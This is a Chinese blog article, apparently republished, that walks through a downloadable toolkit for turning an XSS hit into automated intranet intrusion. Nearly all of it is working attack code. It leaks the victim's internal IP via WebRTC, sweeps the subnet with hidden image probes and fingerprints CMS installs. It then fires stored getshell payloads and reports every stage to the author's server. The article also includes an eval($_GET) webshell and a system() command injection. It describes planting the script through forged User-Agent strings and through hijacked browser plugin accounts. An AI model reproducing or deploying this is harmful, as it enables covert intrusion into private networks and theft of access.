天天看點

XSS自動化入侵内網

XSS自動化入侵内網

0×01 前言:

很多人都認為XSS隻能做盜取cookies的活。以至于有些SRC、廠商對待反射型XSS視而不見,或者說是根本不重視。

直到“黑哥”在之前的演講中提到XSS入侵内網,情況才得以好轉。但是經過本人測試,黑哥所說的XSS内網入侵,應該是包含了浏覽器漏洞。那沒有浏覽器漏洞該如何呢?就像0x_Jin之前在烏雲報道的搜狐漏洞那樣:http://www.wooyun.org/bugs/wooyun-2014-076685

這裡有幾個需要注意的地方:由于浏覽器的同源政策問題導緻沒有辦法做到真正意義上的内網入侵,當然如果你又浏覽器的0day,那事情就另當别論了。

而0x_Jin在烏雲中的那篇漏洞報告,我自己本人也去問了。答複就是隻是檢測了開放的80端口,就沒有後續了。黑哥沒有公布完整的代碼,0x_Jin沒有深入。既然都沒有,就交給我吧。這裡我将會使用其他辦法“繞過浏覽器的同源政策”。

0×02構架:

代碼采用了類似XSS平台那種實時回報機制。在這裡我先把變量介紹一遍:

var onlyString           = "abc";
var ipList               = [];
var survivalIpLIst       = [];
var deathIpLIst          = [];
var sendsurvivalIp       = "http://webrtcxss.cn/Api/survivalIp";
var snedIteratesIpUrl    = "http://webrtcxss.cn/Api/survivalPortIp";
var snedIteratesCmsIpUrl = "http://webrtcxss.cn/Api/survivalCmsIp";
var sendExistenceVul     = "http://webrtcxss.cn/Api/existenceVul";
           
  1. onlyString : 唯一字元串,用于讓伺服器識别目前發送的請求是哪一個項目,真實代碼是不會寫成abc的,會使用md5(date(‘Y-m-d H:i:s’))來生成hash。
  2. ipList : 數組變量用來儲存webrtc擷取的内網IP位址。
  3. survivalIpLIst : 數組對象用于存放開放80端口的IP位址
  4. deathIpLIst : 數組對象用于存放不存在80端口的IP,用于判斷
  5. sendsurvivalIp : 發送目前内網IP的資訊到服務端
  6. snedIteratesIpUrl : 從服務端回報的cms路徑對目前存在80端口的IP進行判斷,看現有存活的IP位址是否可以在服務端裡找到所比對的CMS資訊
  7. snedIteratesCmsIpUrl : 用于在已比對到的cms資訊裡,從服務端裡驗證這個cms是否存在我們在服務端裡所儲存的getshell漏洞
  8. sendExistenceVul : 已确定漏洞,發送到服務端

之前在0×01前言裡說到,這裡我将會使用其他辦法“繞過浏覽器的同源政策”。現在我就來說說如何構架、整段代碼的構架把:

WebRTC擷取到内網IP->周遊内網存在80端口的IP位址->檢測開放80端口IP屬于哪一種CMS類型->利用getshell生成js檔案->是否存在js檔案->存在JS檔案->發送到服務端,漏洞存在->

XSS自動化入侵内網

->不存在JS檔案->漏洞不存在,結束。 詳情請移步到:https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec

0×03擷取内網的IP資訊:

詳情請移步到:https://webrtc.org/faq/#what-is-webrtc 因為WebRTC讓JavaScript具有了一定的底層操作方法,而由于WebRTC的特殊性,讓我們可以使用JavaScript來擷取到内網IP。目前WebRTC支援的平台有:Chrome、Firefox、Opera、Android、IOS。實際測試的時候maxthon也是支援的(此處有伏筆)。 WebRTC擷取内網IP這段代碼網上是可以找到的,而在這裡需要修改一下。友善其他代碼容易調用。 然後就是webrtc的代碼了:

var webrtcxss = {
    webrtc : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp();
           

現在我們來列印一下看看:

XSS自動化入侵内網

已經擷取到了我目前主機的IP位址了。

0×04檢測内網中開啟了80端口的IP:

上一節的結尾可以看到

webrtcxss.getIp()

;已經調用了WebRTC來擷取到内網的IP資訊,IP儲存在ipList數組變量裡。這裡就要檢測内網中所有開放80端口的IP了。這裡我寫了一個函數來把這一步放到函數裡:

function iteratesIp(){
    stage(1)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendsurvivalIp, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);
    for(var i = 0;i < ipList.length;i++){
        incompleteIp = ipList[i].split(".");
        incompleteIp.pop();
        incompleteIp = incompleteIp.join(".");
        for(var j = 1;j < 255;j++){
            var ip = incompleteIp + "." + j;
            var imgTag = document.createElement("img");
            imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
            imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
            imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
            imgTag.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(imgTag);
        }
    }
}
setTimeout("iteratesIp()",20000);
(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
           

至于其中的

stage(1)

是我自己寫的一個函數,用于實時向服務端發送目前最新的運作情況,我們放到最後再說。

ipAjax = new XMLHttpRequest();
ipAjax.open('POST', sendsurvivalIp, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);
           

這段代碼是把目前擷取到的内網IP發送到服務端,至于為什麼要在ipList後面加上join(“-”)函數是因為WebRTC有時會把擷取網關、VM虛拟機的IP也擷取上來。

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}
           

這段代碼是周遊所有内網主機80端口的。我們來實際看下把:

XSS自動化入侵内網

後面的.104被我們去掉了。然後利用for循環來周遊192.168.1.1~192.168.1.254 現在我們來運作

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}
           

這段代碼:

XSS自動化入侵内網

這是控制台的效果,我們來看下DOM發生了哪些變化把:

XSS自動化入侵内網

這裡我使用的是

http://192.168.1.xxx/favicon.ico

來判斷内網哪些IP開啟了80端口,并且上面運作着站點。 其中的

onerror="javascript:deathIpLIst.push('192.168.1.xxx')"

是如果此IP沒有開啟80端口,或者開啟了80端口,但是沒有運作站點的話,就調用把目前的IP位址push到deathIpLIst變量裡。如果存在的話就push到survivalIpLIst變量裡,也就是這段代碼:

onload="javascript:survivalIpLIst.push('192.168.1.1')"

 至于為什麼要這麼做呢,這裡就要涉及一個坑了。浏覽器是不會你加載了哪些圖檔就立刻告訴你哪些圖檔是可以通路,哪些圖檔是不能通路的,浏覽器需要一個緩沖的時間。檢測同一網段裡254個主機是否存在favicon.ico,大約需要花費550000ms===550s約等于2.16535s/IP。也就是9.16多分鐘。也就是全部檢測完需要等待9.16分鐘。這也是沒辦法的事,改變不了。 至于下面為什麼要使用

setTimeout("iteratesIp()",20000);

來延遲20秒執行呢,因為WebRTC擷取IP需要一定的時間,其實幾秒鐘就好了。但是為了提高容錯率我把時間提高到20秒的時間,如果你嫌慢,可以在文章結尾下載下傳源代碼,修改。 還有一段代碼是這樣的:

(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
           

這就是為什麼我之前要把80端口不存在的IP放到一個數組變量裡,存在80端口的IP放到一個數組變量裡。因為我不确定他們什麼時候好,之前說的9.1分鐘,隻是一個大概時間,因電腦組態、内網通訊速度等其他的原因可能會提前,也可能會更慢。我無法做出保證。是以寫了一段代碼。下面我來說說這段代碼的意思:

(function(){
    /*coding*/
})();
           

是一段匿名函數,當代碼運作到此處時會立刻執行此函數。 函數裡面首先是判斷deathIpLIst.length + survivalIpLIst.length是否等于254。如果等于254則調用snedIteratesIpData函數,并把開啟80端口并運作站點的IP作為參數發送過去。如果不等于說明浏覽器還沒有把所有的圖檔都給判斷好。進入else分之。 

setTimeout(arguments.callee,5000);

是延遲5秒鐘運作arguments.callee。而arguments.callee的意思是目前函數。我們來實際看下:

XSS自動化入侵内網

console.log列印了目前的函數,當然你也可以使用setTimeout(目前的函數名(),5000);來達到此效果,但是此方法對于匿名函數沒有用。因為匿名函數是不存在名稱的。如果學了遞歸的朋友們,應該會很好了解。 說通俗點就是:每隔5秒鐘運作此函數,直到所有img标簽全部判斷完成,才進行下一步的操作。

0×05确認内網存活主機的CMS資訊:

上一節我們說到閉包裡的if條件裡true執行的snedIteratesIpData函數,現在我們就來說說這個函數裡面是什麼内容:

function snedIteratesIpData(ip){
    if(deathIpLIst.length == 254){
        return false;
    }
    stage(2)
    ip = ip.join("-")
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var cmsPath = JSON.parse(ipAjax.responseText).path;
            for(var key in cmsPath){
                for(var i = 0;i < survivalIpLIst.length;i++){
                    var scriptTag = document.createElement("script");
                    scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                    scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                    scriptTag.setAttribute("data-cmsinfo",key);
                    scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                    document.getElementsByTagName("body")[0].appendChild(scriptTag);
                }
            }
        }
    }
    ipAjax.open('POST', snedIteratesIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('iplist='+ip+'&onlystring='+onlyString);
}
           

為什麼要在函數開始前寫上if函數呢,因為在上一節中的閉包裡存在一個bug。就是當所有内網IP中都沒有開放80端口且不存在站點的情況下,deathIpLIst.length會為254。而survivalIpLIst.length會為0。那

deathIpLIst.length + survivalIpLIst.length == 254

的條件是為true的。為了避免此bug的發生,我們在snedIteratesIpData函數裡加入

if(deathIpLIst.length == 254){
    return false;
}
           

當deathIpLIst.length等于254的時候,傳回false。不再向下執行。因為所有代碼的構架就是A調用B,C調用A,D調用C。當C傳回false的時候,D是不會執行的。從上面的代碼可以看到,傳回false後。下面的代碼都不會運作的。 現在我們來看下

ip = ip.join("-")

這條代碼的意思,是當内網中存在兩條(包括兩條)以上的IP位址時,使用join函數,傳給服務端。友善服務端的接受及檢視。服務端的回報就像下面這樣:

XSS自動化入侵内網

面來說說ajax請求的代碼:

ipAjax = new XMLHttpRequest();
ipAjax.onreadystatechange = function(){
    if(ipAjax.readyState == 4 && ipAjax.status == 200){
        var cmsPath = JSON.parse(ipAjax.responseText).path;
        for(var key in cmsPath){
            for(var i = 0;i < survivalIpLIst.length;i++){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                scriptTag.setAttribute("data-cmsinfo",key);
                scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            }
        }
    }
}
ipAjax.open('POST', snedIteratesIpUrl, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('iplist='+ip+'&onlystring='+onlyString);
           

發送内網中開放80端口且具有站點的ip位址,并同時發送唯一辨別符。用于服務端驗證。 服務端接受後,發送json資料,服務端代碼如下:

$this->ajaxReturn(array(
    "typeMsg" => "success",
    "path"    => $pathInfo,
));
           

然後使用if(ipAjax.readyState == 4 && ipAjax.status == 200)來判斷是否發送成功,成功後,把json裡的path資料指派cmsPath變量。用于後面的代碼調用。首先進入for循環,cmsPath['key']為目前的cms路徑。然後再來套一個for循環,survivalIpLIst[i]為目前循環的IP位址。 接下來就是建立一個script标簽的DOM元素,其中的data-ipadder、data-cmsinfo是為了讓後面的代碼友善調用。

onload = " javascript:vulnerabilityIpList(this)"

是當這個位址存在的時候,調用的一個函數,下一節會說到。 現在先讓我們看看資料庫在的cmsPath是什麼樣的把:

XSS自動化入侵内網

預設就這4個,更多的路徑可以自行加入。 為了友善測試,我在我家中的另一台電腦上部署了代碼,隻有index.php、/static/bbcode.js、vul/heihei.php、favicon.ico這幾個檔案。而在heihei.php檔案裡代碼如下:

<?php
   eval($_GET['a']);
           

為什麼是這個呢,很簡單。我手裡面沒有Discuz的getshell漏洞。為了徒省事。就這樣把。而favicon.ico檔案我也很随意的使用了dedecms的favicon.ico。後面測試的時候,還望不要見怪。 現在我們來運作下代碼看下會發生什麼事情吧:

XSS自動化入侵内網

我在/static/bbcode.js檔案裡寫入的是console.log(1)所有會在控制台回報1。這隻是測試的代碼,真實的環境是不會這樣的。現在我們來看下DOM元素有些改變把:

XSS自動化入侵内網

已經調用了,程式檢測到隻有http://192.168.1.103/static/js/bbcode.js符合。那麼一旦成功調用js檔案,就會執行onlod裡的vulnerabilityIpList(this)代碼。而vulnerabilityIpList函數代碼就在下一節。

0×06 檢測内網主機中的漏洞是否真實存在(上篇):

下面就是vulnerabilityIpList函數的代碼:

function vulnerabilityIpList(info){
    stage(3)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var vulCmsInfo = ipAjax.responseText;
            var img = document.createElement("img");
            img.setAttribute("scr",vulCmsInfo);
            img.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(img);
            setTimeout(function(){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
                scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
                scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
                scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            },2000);
        }
    }
    ipAjax.open('POST', snedIteratesCmsIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('existenceCmsIp='+ info.getAttribute("data-ipadder") + '&existenceCmsInfo=' + info.getAttribute("data-cmsinfo") + '&onlystring=' + onlyString);
}
           

其中info參數是成功調用的script标簽的DOM元素對象。 首先讓我們看下發送url的請求:

  1. existenceCmsIp參數是檢測到cms類型的IP位址
  2. existenceCmsInfo參數是檢測到cms類型
  3. onlystring參數是唯一辨別符,用于伺服器判斷屬于哪一個項目。

接下來讓我們看下onreadystatechange裡面的内容:

var vulCmsInfo = ipAjax.responseText;
var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);
setTimeout(function(){
    var scriptTag = document.createElement("script");
    scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
    scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
    scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
    scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
    document.getElementsByTagName("body")[0].appendChild(scriptTag);
},2000);
           

首先就是var vulCmsInfo = ipAjax.responseText;,把伺服器傳回的字元串指派給vulCmsInfo變量。服務端的代碼是:

/*
* 把用戶端檢測到存在CMS的IP加入到資料庫中
*/
if(I('post.existenceCmsIp')  == "" || I('post.existenceCmsInfo') == "" || I('post.onlystring') == ""){
    $this->ajaxReturn(array(
        "typeMsg" => "error",
    ));
}
$existenceCmsIp               = I('post.existenceCmsIp');
$existenceCmsInfo             = I('post.existenceCmsInfo');
$onlyString                   = I('post.onlystring');
$existencecmsip               = M('existencecmsip');
$existenceData['inner_ip']    = $existenceCmsIp;
$existenceData['cms']         = $existenceCmsInfo;
$existenceData['onlystring'] = $onlyString;
$existenceData['create_time'] = date('Y-m-d H:i:s');
$existencecmsip->data($existenceData)->add();
/*
* 擷取資料庫中的cms漏洞詳情,發送給用戶端
*/
$cmsvul  = M('cmsvul');
$vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo"));
echo "http://".$existenceCmsIp.$vulInfo;從代碼中可以看到服務端傳回的不是json資料,而是字元串,這個字元串是拼接好的url。這個url就是從擷取到的IP位址加上伺服器中調用屬于cms漏洞的path路徑。
           

然後使用img标簽來發送get請求,用于觸發此getshell漏洞。代碼也就是:

var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);
           

至于為什麼要使用setTimeout函數來延遲2秒鐘執行,是因為之前也說過浏覽器是無法同時判斷那麼多的img請求。因為這裡隻有一個是以我使用了2秒,真實情況下可以改為20秒。 然後建立一個script标簽,用于判斷1.js是否生成成功,如果生成成功,就說明漏洞存在,交給下一個函數處理,如果不存在,就此打住。因為onload不會調用vulConfirm函數。 至于為什麼要判斷1.js檔案,就是我之前所說的getshell生成的代碼。在資料中是這樣的:

XSS自動化入侵内網

是一段base64密文,解開後,内容如下:

/vul/heihei.php?a=system('echo 1 >> ../1.js');

 而在後端發送給前端的時候,我已經解密了。如同上面代碼中: 

$vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo"));

而在浏覽器中代碼是這樣:

XSS自動化入侵内網

接下來就是setTimeout函數的真正的用處了。請注意這段代碼:

scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");

 在script中把src的指派成檢測目标站點是否存在1.js。如果存在就運作onload裡的vulConfirm函數。而vulConfirm函數就在下一節。

0×07 檢測内網主機中的漏洞是否真實存在(下篇):

vulConfirm函數的内容很簡單,隻有給服務端發送的代碼。

function vulConfirm(cmsConfirmInfo){
    stage(4)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendExistenceVul, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('cms='+ cmsConfirmInfo.getAttribute("data-cmsinfo") + '&vulip='+ cmsConfirmInfo.getAttribute("data-vulip") +'&onlystring=' + onlyString);
}
           
  1. cms參數是存在漏洞的CMS資訊
  2. vulip是存在漏洞的IP位址
  3. onlystring是唯一辨別符,用于服務端判斷

0×08 stage的作用:

stage函數代碼如下:

function stage(num){
    var updataStage = document.createElement("img");
    updataStage.setAttribute("src","http://webrtcxss.cn/Api/stage/onlystring/"+onlyString+"/updata/"+num);
    updataStage.setAttribute("style","display:none;");
    document.getElementsByTagName("body")[0].appendChild(updataStage);
}
           

就是一個img标簽,發送get請求到服務端,告訴服務端代碼運作到哪裡了。在平台中的回報如圖:

XSS自動化入侵内網

0×09 API後端代碼:

後端使用了thinkphp架構。如果你想修改服務端接受的方式的話。 請在/Application/Home/Controller目錄下修改ApiController.class.php檔案,就行了。裡面的内容分為survivalIp、survivalPortIp、_empty、survivalCmsIp、existenceVul、stage子產品。可根據JavaScript中的代碼來做出相應的修改。如圖:

XSS自動化入侵内網

0×10平台專屬的API:

平台的api在

/Application/Home/Controller

目錄下的RootApiController.class.php檔案裡。 建立項目、删除項目、查詢項目都在裡面。如果你想修改JavaScript代碼,就在建立項目中修改,如圖:

XSS自動化入侵内網

修改起來很簡單。 平台運作起來如下圖:

XSS自動化入侵内網
XSS自動化入侵内網
XSS自動化入侵内網
XSS自動化入侵内網
XSS自動化入侵内網

0×11資料庫的結構:

一共具有7個表,如下:

XSS自動化入侵内網
  1. webrtc_cmspath

    用于存放檢測cms類型的JavaScript路徑
  2. webrtc_cmsvul用于存放cms

    的getshell漏洞詳情
  3. webrtc_existencecmsip

    用于存放内網中哪些IP具有cms
  4. webrtc_existencevul

    用于存放内網中哪些IP具有的CMS有漏洞
  5. webrtc_ipdatalist

    用于存放内網中所有開放80端口切具有站點的ip清單
  6. webrtc_project

    用于存放項目資訊
  7. webrtc_survivaliplist

    用于存放目前主機的内網ip

0×12特殊的玩法:

之前在freebuf說過了,位址是:http://www.freebuf.com/articles/web/61268.html 因為nginx或者apache有些管理者會使用日志看實時檢視網站的流量,由于log日志看起來太醜,于是就有人想出web端實時的回報網站流量。但是在記錄user-agent等資料包格式的時候,沒有做好過濾。進而導緻攻擊者修改自己的user-agent為XSS攻擊字元串,再進行浏覽網站的操作,網站管理者在檢視的時候就會觸發XSS,如果配合本章所講的内容。就像下雨天吃着巧克力一樣完美。其實并不一定非要是nginx或者apache,有些網站的背景寫的程式中會使用後端語言而非nginx這種配置生成檔案,他們會直接記錄下你們的IP、user-agent。進而在背景友善檢視。這個時候我們本章所說的内容就會排上用場。 關于插件安全的話,請大家看下面這張圖:

XSS自動化入侵内網

我控制了十多個maxthon插件作者的賬戶,現在具有30w的插件使用者,而我可以随時随地的更改其中的代碼,而我問了一下maxthon插件的官方人員,答複是:

XSS自動化入侵内網

即使你沒有相關的插件作者使用者。可以使用組簡單的html+swf來寫一個插件小遊戲,一個星期就可以上千。這裡我打個比方,10w使用者都安裝了我的插件。 其中5w是已經工作的使用者。2w是在公司電腦上使用maxthon并安裝了插件,一旦打開maxthon浏覽器,插件就會自動運作。而當插件發現有新版本時,會自動靜默安裝。然後就會運作我們的JavaScript代碼,而我在0×03節的地方說到maxthon也是支援WebRTC的,但是這裡會有坑。我不清楚是不是由版本引起的問題,在chrome下運作WebRTC代碼時會顯示一組IP,也是目前電腦的内網IP,而在maxthon下,會出現三組,可能不止三組。如圖:

XSS自動化入侵内網

其中192.168.27.1是我電腦上的VM虛拟機的IP段。192.168.118.1也是VM虛拟機上的ip段。隻有192.168.1.104才是目前真正的内網IP。是以在源程式裡會出現join函數和對ipList變量的for循環。

0×13失敗的思路:

思路一、

假設這裡擷取到的内網IP為192.168.21.104。根據for循環輸出img、script标簽可以擷取到内網的是以存活IP位址(也可以探測port),但是這裡有一個問題,就是JavaScript裡怎麼擷取到其他内網的資源資訊,因為跨域,ajax、iframe都不行。我昨天晚上問了0xJin,他是沒有擷取,隻是掃的存活IP及端口。但是說好是内網漫遊,不能隻擷取到目前觸發XSS的Pc。昨天晚上查了一夜的資料,有個思路,但是不知道能不能實作。這裡說明一下,如果有什麼好的建議可以提出來。當然思路可能錯誤。 

前面的跳過,假設現在已經有了内網中開放80端口的IP。  既然ajax、iframe都不行,那我們可以嘗試一下flash來擷取,但是flash也有相應的crossdomain.xml限制,但是今天上午查資料的時候找到了這麼一篇文章:http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data 根據作者所說,這個方法隻能擷取到視覺對象(圖檔、swf),也就是說無法擷取存活IP裡的html源碼了。

我想是否可以使用flash發送一個帶有XSS的URL(内網IP)  XSS裡調用Html2canvas插件來把存活IP中的網站截圖發送給我們的伺服器端。  當然了,這裡有一個限制條件,就是必須擷取存活IP中網站的cms資訊(可以使用

<img src="内網IP/favicon.ico">

再把圖檔發送給遠端伺服器,來接受。這樣就可以判斷屬于哪個cms類型的了,構架代碼的時候可以加一個定時擷取遠端伺服器的JavaScript代碼,這樣我們看到是cms類型後,就可以在網上找相應的爆版本資訊的方法,寫成代碼,等待客服端的定時任務擷取到)。 

現在資訊有了,還有一個條件,就是XSS漏洞,需要XSS漏洞來加載Html2canvas插件,并且儲存成圖檔發送給遠端的伺服器。 

問題來了,反射XSS并不是正真的打開網站,而是發送get請求。那canvas并不會加載,也就說圖檔擷取失敗。儲蓄型的話可能成功。 

失敗的原因:

  1. canvas無法擷取到iframe裡的DOM内容
  2. img無法發送到遠端伺服器,因為調用img圖檔的時候,目前頁面和img的圖檔不是同源的,無法發送
  3. 隐蔽性很差

思路二、

之前我提到的思路是使用xss+iframe+canvas,但是@超威藍貓 說到canvas無法截取到iframe裡的内容,後來我上網查後,确實如此(基礎不牢的結果)。後來我又有了一個新的思路,使用

<img src="https://xxx.xxx.xxx.xxx/favico.ico" />

來擷取網站的cms資訊,因為不同的cms他們的ico圖示也是不一樣的,把img發送到伺服器端後,就可以識别網站屬于哪種cms類型了。但是後來和偉哥 @呆子不開口 讨論了幾個小時,發現忽略了一個重要的問題,怎麼把img發送到遠端伺服器,img圖檔位址不是同源的,而且怎麼把圖檔使用JavaScript轉成二進制資料。這個思路又斷了。偉哥提到一個很nice的解決方案,檢測js腳本,也就是

<script src="http://xxx.xxx.xxx.xxx/path/cms.js" onload="xxx(this)"></script>

這樣的話,我就需要大量cms獨立的js檔案位置。工作量大。我本來都打算使用這個了,但是前幾天閑的無聊翻自己的QQ日志時,發現了一段代碼:

document.addEventListener("visibilitychange", function() {
    document.title = document.hidden ? 'iloveyou' : 'metoo';
});
           

這是HTML5推出的API,我發現我可以利用這個API來達到神不知鬼不覺的上傳圖檔。首先當使用者切換到其他浏覽器标簽的時候,document.hidden會為true。那麼我們就可以确定使用者沒有通路我們XSS的網頁。那麼我們幹什麼使用者都不會發現了。大緻的思路如下:

document.addEventListener("visibilitychange", function() {
    if(document.hidden){
        var htmlText = $("body").html();
        $("body").empty();
        $("body").append("<img src='http://xxx.xxx.xxx.xxx/favico.ico' />");
        //canvas擷取頁面,請移步:http://leobluewing.iteye.com/blog/2020145
    }else{
        $("body").empty();
        $("body").append(htmlText);
    }
});
           

失敗的原因:

  1. 因為之前提到過img加載太消耗時間,尤其在maxthon浏覽器下,三組以上的IP位址全部檢測完成需要30分鐘左右。如果用此方法的話,需要確定使用者在半個小時内不能打開此頁面
  2. canvas無法獲得不是本源的圖檔,也就是說不能擷取到img加載的圖檔

總結後,就采用了偉哥的方法。

0×14結尾:

在此尤其感謝,@呆子不開口 。這篇文章寫的很累,因為img标簽發送的耗時長的問題,導緻每一次修改BUG的時候,都需要等9-10分鐘。也是我目前為止寫的時間最長的一篇文章。因為要學駕照,時間更少了。大概花了一個月左右的時間。之前和主編約稿的日期是15日,一直拖到現在,挺對不住的。前端、後端、資料庫還有些的BUG沒有修複,如果此平台的安裝量達到100會繼續更新,下面是平台下載下傳的url: https://github.com/BlackHole1/WebRtcXSS

作者資訊:

Blog:http://bugs.cc/

github:https://github.com/BlackHole1/

Twitter:https://twitter.com/Free_BlackHole

專欄

繼續閱讀